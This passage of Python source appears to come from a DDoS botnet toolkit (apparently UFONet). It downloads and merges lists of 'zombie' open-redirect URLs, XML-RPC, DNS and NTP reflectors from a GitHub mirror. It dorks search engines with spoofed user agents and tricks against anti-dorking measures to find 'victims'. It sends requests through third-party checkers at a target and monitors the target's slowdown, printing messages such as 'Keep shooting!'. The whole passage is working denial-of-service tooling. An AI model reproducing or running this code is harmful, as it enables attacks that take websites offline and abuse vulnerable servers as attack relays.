abduction.replace('\n','')                 if abduction not in zombies:                    zombies_ready.append(abduction)                else:                    pass            self.update_zombies(zombies_ready)            os.remove('botnet/abductions.txt') # remove abductions .txt file            aliens_ready = []            f = open('botnet/troops.txt')            troops = f.readlines()            f.close()            fz = open(self.aliens_file)            aliens = fz.readlines()            fz.close()            for alien in troops:                alien = alien.replace('\n','')                if alien not in aliens:                    aliens_ready.append(alien)                else:                    pass            self.update_aliens(aliens_ready)            os.remove('botnet/troops.txt') # remove troops .txt file            droids_ready = []            f = open('botnet/robots.txt')            robots = f.readlines()            f.close()            fz = open(self.droids_file)            droids = fz.readlines()            fz.close()            for droid in robots:                droid = droid.replace('\n','')                if droid not in droids:                    droids_ready.append(droid)                else:                    pass            self.update_droids(droids_ready)            os.remove('botnet/robots.txt') # remove robots .txt file            ucavs_ready = []            f = open('botnet/drones.txt')            drones = f.readlines()            f.close()            fz = open(self.ucavs_file)            ucavs = fz.readlines()            fz.close()            for drone in drones:                drone = drone.replace('\n','')                if drone not in ucavs:                    ucavs_ready.append(drone)                else:                    pass            self.update_ucavs(ucavs_ready)            os.remove('botnet/drones.txt') # remove drones .txt file            rpcs_ready = []            f = open('botnet/reflectors.txt')            reflectors = f.readlines()            f.close()            fz = open(self.rpcs_file)            rpcs = fz.readlines()            fz.close()            for reflector in reflectors:                reflector = reflector.replace('\n','')                if reflector not in rpcs:                    rpcs_ready.append(reflector)                else:                    pass            self.update_rpcs(rpcs_ready)            os.remove('botnet/reflectors.txt') # remove reflectors .txt file            dnss_ready = []            f = open('botnet/crystals.txt')            crystals = f.readlines()            f.close()            fz = open(self.dnss_file)            dnss = fz.readlines()            fz.close()            for crystal in crystals:                crystal = crystal.replace('\n','')                if crystal not in dnss:                    dnss_ready.append(crystal)                else:                    pass            self.update_dnss(dnss_ready)            os.remove('botnet/crystals.txt') # remove crystals .txt file            ntps_ready = []            f = open('botnet/warps.txt')            warps = f.readlines()            f.close()            fz = open(self.ntps_file)            ntps = fz.readlines()            fz.close()            for warp in warps:                warp = warp.replace('\n','')                if warp not in ntps:                    ntps_ready.append(warp)                else:                    pass            self.update_ntps(ntps_ready)            os.remove('botnet/warps.txt') # remove warps .txt file            print("\n[Info] [AI] Botnet updated! -> ;-)")            self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)            if not self.options.forceyes: # ask for update everything                print('-'*25 + "\n")                update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")            else:                update_reply = "Y"            if update_reply == "n" or update_reply == "N":                print("\n[AI] "+self.exit_msg+"\n")                return            else:                try:                    update_gui = self.update_gui_data() # update GUI data                except:                    print('-'*25 +"\n")                    print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")                    print('-'*25)                    print("\n[AI] "+self.exit_msg+"\n")                    return    def downloading_github_list(self):         # add your mirror to protect/share/distribute... [Zombies]        try:            print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            if self.options.timeout: # set timeout                try:                    timeout = int(self.options.timeout)                except:                    timeout = 5            else:                timeout = 5            if timeout < 1:                timeout = 5             if self.options.proxy: # set proxy                self.proxy_transport(self.options.proxy)            try:                req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)                zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            except:                zombies_reply = ""            try:                req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)                aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            except:                aliens_reply = ""            try:                req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)                dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            except:                dns_reply = ""            try:                req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)                droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            except:                droids_reply = ""            try:                req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)                rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            except:                rpcs_reply = ""            try:                req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)                ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            except:                ucavs_reply = ""            try:                req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)                ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            except:                ntp_reply = ""            if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":                print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")                print('-'*12 + '\n')                print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")                return            f = open('botnet/abductions.txt', 'w') # zombies            f.write(zombies_reply)            f.close()            f = open('botnet/troops.txt', 'w') # aliens            f.write(aliens_reply)            f.close()            f = open('botnet/crystals.txt', 'w') # dns            f.write(dns_reply)            f.close()            f = open('botnet/robots.txt', 'w')  # droids            f.write(droids_reply)            f.close()            f = open('botnet/drones.txt', 'w') # ucavs            f.write(ucavs_reply)            f.close()            f = open('botnet/reflectors.txt', 'w') # rpcs            f.write(rpcs_reply)            f.close()            f = open('botnet/warps.txt', 'w') # ntp            f.write(ntp_reply)            f.close()            print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")        except:            print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")            print('-'*12 + '\n')            print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")            return        print('-'*12 + '\n')        num_abductions = 0        with open('botnet/abductions.txt') as f: # zombies            for _ in f:                num_abductions = num_abductions + 1        print("[Info] Zombies: " + str(num_abductions))              num_troops = 0        with open('botnet/troops.txt') as f: # aliens            for _ in f:                num_troops = num_troops + 1        print("[Info] Aliens : " + str(num_troops))        num_robots = 0        with open('botnet/robots.txt') as f: # droids            for _ in f:                num_robots = num_robots + 1        print("[Info] Droids : " + str(num_robots))        num_drones = 0        with open('botnet/drones.txt') as f: # ucavs            for _ in f:                num_drones = num_drones + 1        print("[Info] UCAVs  : " + str(num_drones))        num_reflectors = 0        with open('botnet/reflectors.txt') as f: # rpcs            for _ in f:                num_reflectors = num_reflectors + 1        print("[Info] X-RPCs : " + str(num_reflectors))        num_crystals = 0        with open('botnet/crystals.txt') as f: # dns            for _ in f:                num_crystals = num_crystals + 1        print("[Info] DNSs   : " + str(num_crystals))        num_warps = 0        with open('botnet/warps.txt') as f: # ntp            for _ in f:                num_warps = num_warps + 1        print("[Info] NTPs   : " + str(num_warps))        total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps        print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))        print('-'*12)        if not self.options.forceyes:            update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")            print('-'*25)        else:            update_reply = "Y"        if update_reply == "n" or update_reply == "N":            os.remove('botnet/abductions.txt') # remove zombies/abductions file            os.remove('botnet/troops.txt') # remove aliens/troops file            os.remove('botnet/crystals.txt') # remove dns/crystals file            os.remove('botnet/robots.txt') # remove droids/robots file            os.remove('botnet/drones.txt') # remove ucavs/drones file            os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file            os.remove('botnet/warps.txt') # remove ntp/warps file            print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")            print('-'*25)            print("\n[AI] "+self.exit_msg+"\n")        else:            zombies_ready = []            f = open('botnet/abductions.txt')            abductions = f.readlines()            f.close()            fz = open(self.zombies_file)            zombies = fz.readlines()            fz.close()            for abduction in abductions:                abduction = abduction.replace('\n','')                 if abduction not in zombies:                    zombies_ready.append(abduction)                else:                    pass            self.update_zombies(zombies_ready)            os.remove('botnet/abductions.txt') # remove zombies/abductions file            aliens_ready = []            f = open('botnet/troops.txt')            troops = f.readlines()            f.close()            fz = open(self.aliens_file)            aliens = fz.readlines()            fz.close()            for alien in troops:                alien = alien.replace('\n','')                if alien not in aliens:                    aliens_ready.append(alien)                else:                    pass            self.update_aliens(aliens_ready)            os.remove('botnet/troops.txt') # remove aliens/troops file            dnss_ready = []            f = open('botnet/crystals.txt')            crystals = f.readlines()            f.close()            fz = open(self.dnss_file)            dnss = fz.readlines()            fz.close()            for crystal in crystals:                crystal = crystal.replace('\n','')                if crystal not in dnss:                    dnss_ready.append(crystal)                else:                    pass            self.update_dnss(dnss_ready)            os.remove('botnet/crystals.txt') # remove dns/crystals file            droids_ready = []            f = open('botnet/robots.txt')            robots = f.readlines()            f.close()            fz = open(self.droids_file)            droids = fz.readlines()            fz.close()            for droid in robots:                droid = droid.replace('\n','')                if droid not in droids:                    droids_ready.append(droid)                else:                    pass            self.update_droids(droids_ready)            os.remove('botnet/robots.txt') # remove droids/robots file            ucavs_ready = []            f = open('botnet/drones.txt')            drones = f.readlines()            f.close()            fz = open(self.ucavs_file)            ucavs = fz.readlines()            fz.close()            for drone in drones:                drone = drone.replace('\n','')                if drone not in ucavs:                    ucavs_ready.append(drone)                else:                    pass            self.update_ucavs(ucavs_ready)            os.remove('botnet/drones.txt') # remove UCAVs/drones file            rpcs_ready = []            f = open('botnet/reflectors.txt')            reflectors = f.readlines()            f.close()            fz = open(self.rpcs_file)            rpcs = fz.readlines()            fz.close()            for reflector in reflectors:                reflector = reflector.replace('\n','')                if reflector not in rpcs:                    rpcs_ready.append(reflector)                else:                    pass            self.update_rpcs(rpcs_ready)            os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file            ntps_ready = []            f = open('botnet/warps.txt')            warps = f.readlines()            f.close()            fz = open(self.ntps_file)            ntps = fz.readlines()            fz.close()            for warp in warps:                warp = warp.replace('\n','')                if warp not in ntps:                    ntps_ready.append(warp)                else:                    pass            self.update_ntps(ntps_ready)            os.remove('botnet/warps.txt') # remove NTP/warps file            print("\n[Info] [AI] Botnet updated! -> ;-)")            self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)            if not self.options.forceyes: # ask for update everything                print('-'*25 + "\n")                update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")            else:                update_reply = "Y"            if update_reply == "n" or update_reply == "N":                print("\n[AI] "+self.exit_msg+"\n")                return            else:                try:                    update_gui = self.update_gui_data() # update GUI data                except:                    print('-'*25 +"\n")                    print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")                    print('-'*25)                    print("\n[AI] "+self.exit_msg+"\n")                    return    def uploading_github_list(self):        print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")        print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")        print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")        print(" 3. Share your updates in the #UFONet 'motherships'...\n")        print('='*22 + '\n')        print("[AI] "+self.exit_msg+"\n")    def create_web_interface(self):        # launch webserver+gui        from .webgui import ClientThread        import webbrowser        host = '0.0.0.0'        port = 9999        try:             webbrowser.open('http://127.0.0.1:9999', new=1)            tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)            tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)            tcpsock.bind((host,port))            while True:                tcpsock.listen(4)                (clientsock, (ip, port)) = tcpsock.accept()                newthread = ClientThread(ip, port, clientsock)                newthread.start()        except (KeyboardInterrupt, SystemExit):            sys.exit()    def extract_dorks(self):        # extract dorks from file (ex: 'dorks.txt')        try:            f = open(self.dorks_file)            dorks = f.readlines()            dorks = [ dork.replace('\n','') for dork in dorks ]            f.close()            if not dorks:                if not options.autosearch:                    print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")                return            else:                return dorks        except:            if not options.autosearch:                if os.path.exists(self.dorks_file) == True:                    print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")                    return #sys.exit(2)                else:                    print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")                    return #sys.exit(2)            else:                return    def search_zombies(self, dork, zombies_found):        # crawlering on search engine results to extract zombies        options = self.options        zombies = []        if not options.engine: # default search engine            options.engine = 'duck'        if options.engine == 'bing': # using bing [28/02/2019: OK!]            url = 'https://www.bing.com/search?'            if options.search: # search from query                q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results            if options.dorks or options.autosearch: # search from a dork                q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results            start = 0 # set index number of first entry            query_string = { 'q':q, 'first':start }            data = urllib.parse.urlencode(query_string)            url = url + data            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            if options.verbose:                print("[Info] [AI] Query used: " + url)                print("\n" + '-'*44 + '\n')            try:                if options.proxy: # set proxy                    self.proxy_transport(options.proxy)                req = urllib.request.Request(url, None, headers)                req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')            except:                print('[Error] [AI] Unable to connect to: bing\n')                if options.allengines or options.autosearch:                    return                if not options.dorks or not options.autosearch:                    if not self.options.forceyes:                        update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")                    else:                        update_reply = "Y"                    if update_reply == "n" or update_reply == "N":                        return #sys.exit(2)                    print("\nSearch engines available:")                    print('-'*25)                    for e in self.search_engines:                        print("+ "+e)                    print('-'*25)                    print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")                    return #sys.exit(2)                else:                    req_reply = ''            regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics            pattern = re.compile(regex)            url_links = re.findall(pattern, req_reply)        elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]            location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]            #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]            location = str(random.choice(location).strip()) # shuffle location            if location == "jp": # [28/02/2019]                url = 'https://search.yahoo.co.jp/search?'            else:                url = 'https://'+location+'.search.yahoo.com/search?'                        if options.search: # search from query                if location == "jp":                    q = '"' + str(options.search) + '"' # set query to search literally on results                else:                    q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results            if options.dorks or options.autosearch: # search from a dork                if location == "jp":                    q = '"' + str(dork) + '"' # set query to search literally on results                else:                    q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results            start = 0 # set index number of first entry            query_string = { 'p':q, 'b':start }            data = urllib.parse.urlencode(query_string)            url = url + data            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            if options.verbose:                print(("Query used: " + url + "\n"))            try:                if options.proxy: # set proxy                    self.proxy_transport(options.proxy)                req = urllib.request.Request(url, None, headers)                req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')            except:                print('[Error] [AI] Unable to connect to: yahoo\n')                if options.allengines or options.autosearch:                    return                if not options.dorks or not options.autosearch:                    if not self.options.forceyes:                        update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")                    else:                        update_reply = "Y"                    if update_reply == "n" or update_reply == "N":                        return #sys.exit(2)                    print("\nSearch engines available:")                    print('-'*25)                    for e in self.search_engines:                        print("+ "+e)                    print('-'*25)                    print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")                    return #sys.exit(2)                else:                    req_reply = ''            #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]            regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]            pattern = re.compile(regex)            url_links = re.findall(pattern, req_reply)        elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]            url = 'https://duckduckgo.com/html/'            if options.search: # search from query                q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results            if options.dorks or options.autosearch: # search from a dork                q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results            query_string = { 'q':q }            data = urllib.parse.urlencode(query_string)            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            if options.verbose:                print("Query used: " + url + " (POST: "+ data + ")\n")            try:                if options.proxy: # set proxy                    self.proxy_transport(options.proxy)                req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request                req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')            except:                print('[Error] [AI] Unable to connect to: duck\n')                if options.allengines or options.autosearch:                    return                if not options.dorks or not options.autosearch:                    if not self.options.forceyes:                        update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")                    else:                        update_reply = "Y"                    if update_reply == "n" or update_reply == "N":                        return #sys.exit(2)                    print("\nSearch engines available:")                    print('-'*25)                    for e in self.search_engines:                        print("+ "+e)                    print('-'*25)                    print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")                    return #sys.exit(2)                else:                    req_reply = ''            regex = 'snippet" href="(.+?)">' # regex magics            pattern = re.compile(regex)            url_links = re.findall(pattern, req_reply)        else: # no valid search engine            print('[Error] [AI] This search engine is not supported!\n')            if not options.dorks or options.autosearch:                if not self.options.forceyes:                    update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")                else:                    update_reply = "Y"                if update_reply == "n" or update_reply == "N":                    return #sys.exit(2)                print("\nSearch engines available:")                print('-'*25)                for e in self.search_engines:                    print("+ "+e)                print('-'*25)                print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")                return #sys.exit(2)            else:                req_reply = ''        if options.num_results: # set number of results to search            try:                num = int(options.num_results)            except:                print("[Info] [AI] You should specify an integer!... Using default value: 10\n")                num = 10        else:            num = 10        total_results = 1        for url in url_links: # general parse on urls            if int(num) < int(total_results):                break            if options.engine == "bing":                if " h=" in url: # regex magics [18/08/2016]                    url = url.rsplit('" h=',1)[0]            if options.engine == "yahoo":                if 'RU=' in url: # regex magics [18/08/2016]                    url = url.rsplit('RU=',1)[1]                 if 'UTF-8&u=' in url: # regex magics [05/02/2018]                    url = url.rsplit('UTF-8&u=',1)[1]              total_results = total_results + 1 # results counter            url_link = urllib.parse.unquote(url) # unquote encoding            if options.search:                sep = str(options.search)            if options.dorks or options.autosearch:                sep = str(dork)            url_link = url_link.rsplit(sep, 1)[0] + sep            if 'href="' in url_link:                url_link = url_link.rsplit('href="', 1)[1]            if "instreamset" in url_link: # invalid zombie                url_link = "" # discarded            if '" ' in url_link:                url_link = url_link.rsplit('" ', 1)[1]            if options.engine in url_link:                url_link = "" # discarded            if 'http' not in url_link:                url_link = "" # discarded            else:                if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)                    print('+Victim found: ' + url_link)                    print('-'*12)                    zombies.append(url_link)                else:                    pass        if len(zombies) == 0: # print dorking results            print("[Info] [AI] NOT any NEW victim(s) found for this query!")            if not options.dorks:                if not options.autosearch:                    if not self.options.forceyes:                        return #sys.exit(2)        print("\n" + '-'*44 + '\n')        self.total_possible_zombies = self.total_possible_zombies + len(zombies)        return zombies    def check_nat(self):        # check for NAT configuration        options = self.options        tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled        your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()        check_ip_service = None        if not tor_reply or 'Congratulations' not in tor_reply:            print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")        else:            print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")            self.nat_error_flag = "ON"            return #sys.exit(2)        try:            data = str(urlopen(self.check_ip_service1).read()) # check for public ip            self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)            check_ip_service = self.check_ip_service1        except:            try: # another check for public ip                data = str(urlopen(self.check_ip_service2).read())                self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)                check_ip_service = self.check_ip_service2            except:                print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")                self.nat_error_flag = "ON"                return        t = urlparse(check_ip_service)        name_service = t.netloc        print(" + Public: " + self.pub_ip + " | "+name_service+"\n")        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)        s.connect(('8.8.8.8', 0))  # connecting to a UDP address doesn't send packets (black magic)        self.local_ip = s.getsockname()[0]        print(" + Local: " + self.local_ip + "\n")        print('='*22 + '\n')    def extract_ucavs(self):        # extract ucavs from file        options = self.options        try:            f = open(self.ucavs_file)            ucavs = f.readlines()            ucavs = [ ucav.replace('\n','') for ucav in ucavs ]            f.close()            if not ucavs:                print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")                self.options.disableucavs = True                return            else:                return ucavs        except:            if os.path.exists(self.ucavs_file) == True:                print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")                return #sys.exit(2)            else:                print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")                return #sys.exit(2)    def discarding_ucavs(self, ucav, ucavs):        if ucav in self.discard_ucavs:            ucavs.remove(ucav)            if self.options.verbose:                print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))            self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats        return ucavs    def send_ucavs(self, ucavs):        # extract external status checkers, perform a request and check results        time.sleep(5) # aiming (multi-threading flow time compensation)        if not self.options.disablepurge:            if not ucavs: # return when not any working                self.options.disableucavs = True                return        options = self.options        target = self.options.target        shuffle(ucavs) # shuffle ucavs order, each round :-)        if not self.options.disablepurge:            for ucav in ucavs:                if not ucav.startswith('http'): # discarded inmediately                    self.discard_ucavs.append(ucav)                    self.num_discard_ucavs = self.num_discard_ucavs + 1                ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army        if not self.options.disablepurge:            if not ucavs: # return when not any working                self.options.disableucavs = True                return        shuffle(ucavs) # shuffle ucavs order, each discarding check :-)        for ucav in ucavs:            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            if target.startswith("http://"): # parse target for some checkers                target = target.replace('http://','')            elif target.startswith("https://"):                target = target.replace('https://','')            url = ucav + target            t = urlparse(ucav)            name_ucav = t.netloc            if name_ucav == "":                name_ucav = ucav            if options.verbose:                print(("[Info] [UCAVs] Sniping: " + url))            try:                if options.proxy: # set proxy                    self.proxy_transport(options.proxy)                if options.timeout: # set timeout                    ucav_timeout = options.timeout                else:                    ucav_timeout = 5                 if ucav_timeout < 1:                    ucav_timeout = 5                 req = urllib.request.Request(url, None, headers)                target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')                self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats            except:                print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")                if not self.options.disablepurge:                    self.discard_ucavs.append(ucav)                    self.num_discard_ucavs = self.num_discard_ucavs + 1                self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats                target_reply = ""            if target_reply == "": # check for target's status resolved by [UCAVs]                pass            else:                if not "is down" or not "looks down" in target_reply: # parse external service for reply                    print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")                    self.num_is_up = self.num_is_up + 1                 else:                    print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")                    self.num_is_down = self.num_is_down + 1            if self.options.verbose:                print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")        self.extra_zombies_lock = False # [ARMY] have finished    def extract_median(self, num_list):        # extract median from a list of numbers        import statistics        int_num = []        for num in num_list:            num = float(num)            int_num.append(num)                    return statistics.median(int_num)    def check_is_loading(self, target):        # perform a broadband test (using GET) to analize target's reply to the traffic generated each round        self.start = None        self.stop = None        print('\n---------')        print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")        if target.endswith(""):            target.replace("", "/")        self.user_agent = random.choice(self.agents).strip() # shuffle user-agent        headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer        try:            req = urllib.request.Request(target, None, headers)            if self.options.proxy: # set proxy                self.proxy_transport(self.options.proxy)            if self.options.timeout: # set timeout                try:                    timeout = int(self.options.timeout)                except:                    timeout = 5             else:                timeout = 5             if timeout < 1:                timeout = 5             self.start = time.time()            target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')            header = urllib.request.urlopen(req, context=self.ctx).info()            self.stop = time.time()        except:            print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')            return         try:            s, size_name = self.convert_size(len(target_reply))            self.loadcheck_size_list.append(s) # add record to size list            size = '%s %s' % (s,size_name)        except:            size = "Error!"        try:            time_required = self.stop - self.start            load = self.convert_time(time_required)            self.loadcheck_load_list.append(load) # add record to load list        except:            load = "Error!"        self.loadcheck_counter = self.loadcheck_counter + 1        print(' -Total tests:', self.loadcheck_counter, "\n")        if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:            lsm = self.extract_median(self.loadcheck_size_list)            if lsm is not None:                self.loadcheck_size_median = str(lsm) + " " + size_name            else:                self.loadcheck_size_median = None            llm = self.extract_median(self.loadcheck_load_list)            if llm is not None:                self.loadcheck_load_median = str(llm) + " seconds"            else:                self.loadcheck_load_median = None            if self.loadcheck_counter == 2: # first round                print('   -Bytes in (first round)    :', self.loadcheck_first_size)                print('   -Bytes in (this round)     :', size)                if self.loadcheck_size_median is not None:                    print('   -Bytes in (median)         :', self.loadcheck_size_median)                print(' ----')                print('   -Load time (first round)   :', self.loadcheck_first_load, "seconds")                print('   -Load time (this round)    :', load, "seconds")                if self.loadcheck_load_median is not None:                    print('   -Load time (median)        :', self.loadcheck_load_median, "\n")                else:                    print("\n")                self.loadcheck_size_max = None                self.loadcheck_size_min = None                self.loadcheck_load_max = None                self.loadcheck_load_min = None            elif self.loadcheck_counter > 2: # rest of rounds                lsmax = max(self.loadcheck_size_list)                if lsmax is not None:                    self.loadcheck_size_max = str(lsmax) + " " + size_name                else:                    self.loadcheck_size_max = None                lsmin = min(self.loadcheck_size_list)                if lsmin is not None:                    self.loadcheck_size_min = str(lsmin) + " " + size_name                else:                    self.loadcheck_size_min = None                llmax = max(self.loadcheck_load_list)                if llmax is not None:                    self.loadcheck_load_max = str(llmax) + " seconds"                else:                    self.loadcheck_load_max = None                llmin = min(self.loadcheck_load_list)                if llmin is not None:                    self.loadcheck_load_min = str(llmin) + " seconds"                else:                    self.loadcheck_load_min = None                print('   -Bytes in (first round)    :', self.loadcheck_first_size)                print('   -Bytes in (previous round) :', self.loadcheck_prev_size)                print('   -Bytes in (this round)     :', size)                if self.loadcheck_size_max is not None:                    print('   -Bytes in (max)            :', self.loadcheck_size_max)                if self.loadcheck_size_min is not None:                    print('   -Bytes in (min)            :', self.loadcheck_size_min)                if self.loadcheck_size_median is not None:                    print('   -Bytes in (median)         :', self.loadcheck_size_median)                print(' ----')                print('   -Load time (first round)   :', self.loadcheck_first_load, "seconds")                print('   -Load time (previous round):', self.loadcheck_prev_load, "seconds")                print('   -Load time (this round)    :', load, "seconds")                if self.loadcheck_load_max is not None:                    print('   -Load time (max)           :', self.loadcheck_load_max)                if self.loadcheck_load_min is not None:                    print('   -Load time (min)           :', self.loadcheck_load_min)                if self.loadcheck_load_median is not None:                    print('   -Load time (median)        :', self.loadcheck_load_median, "\n")                else:                    print("\n")            if self.loadcheck_prev_load < load: # target is loading more slowly                print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")            elif self.loadcheck_prev_load == load: # inmutable target                print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")            elif self.loadcheck_prev_load > load: # is target defending?                print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")        else:            print('   -Bytes in (this round) :', size)            print('   -Load time (this round):', load, "seconds\n")            self.loadcheck_first_size = size            self.loadcheck_first_load = load            self.loadcheck_size_median = None            self.loadcheck_load_median = None            self.loadcheck_size_max = None            self.loadcheck_size_min = None            self.loadcheck_load_max = None            self.loadcheck_load_min = None        self.loadcheck_prev_size = size # record previous size        self.loadcheck_prev_load = load # record previous load    def convert_size(self, size):        if (size == 0):            return '0 B'        size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")        i = int(math.floor(math.log(size,1024)))        p = math.pow(1024,i)        s = round(size/p,2)        return s, size_name[i]    def convert_time(self, time):        return '%.2f' % time    def discarding_zombies(self, zombie, zombies):        if zombie in self.discardzombies:            zombies.remove(zombie)            if self.options.verbose:                print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))        return zombies    def send_zombies(self, zombies):        # send Open Redirect zombies        time.sleep(1) # aiming (multi-threading flow time compensation)        if not self.options.disablepurge:            if not zombies:                self.empty_zombies = True                return        if self.options.verbose:            print("[Info] [AI] [Control] Deploying [Zombies] 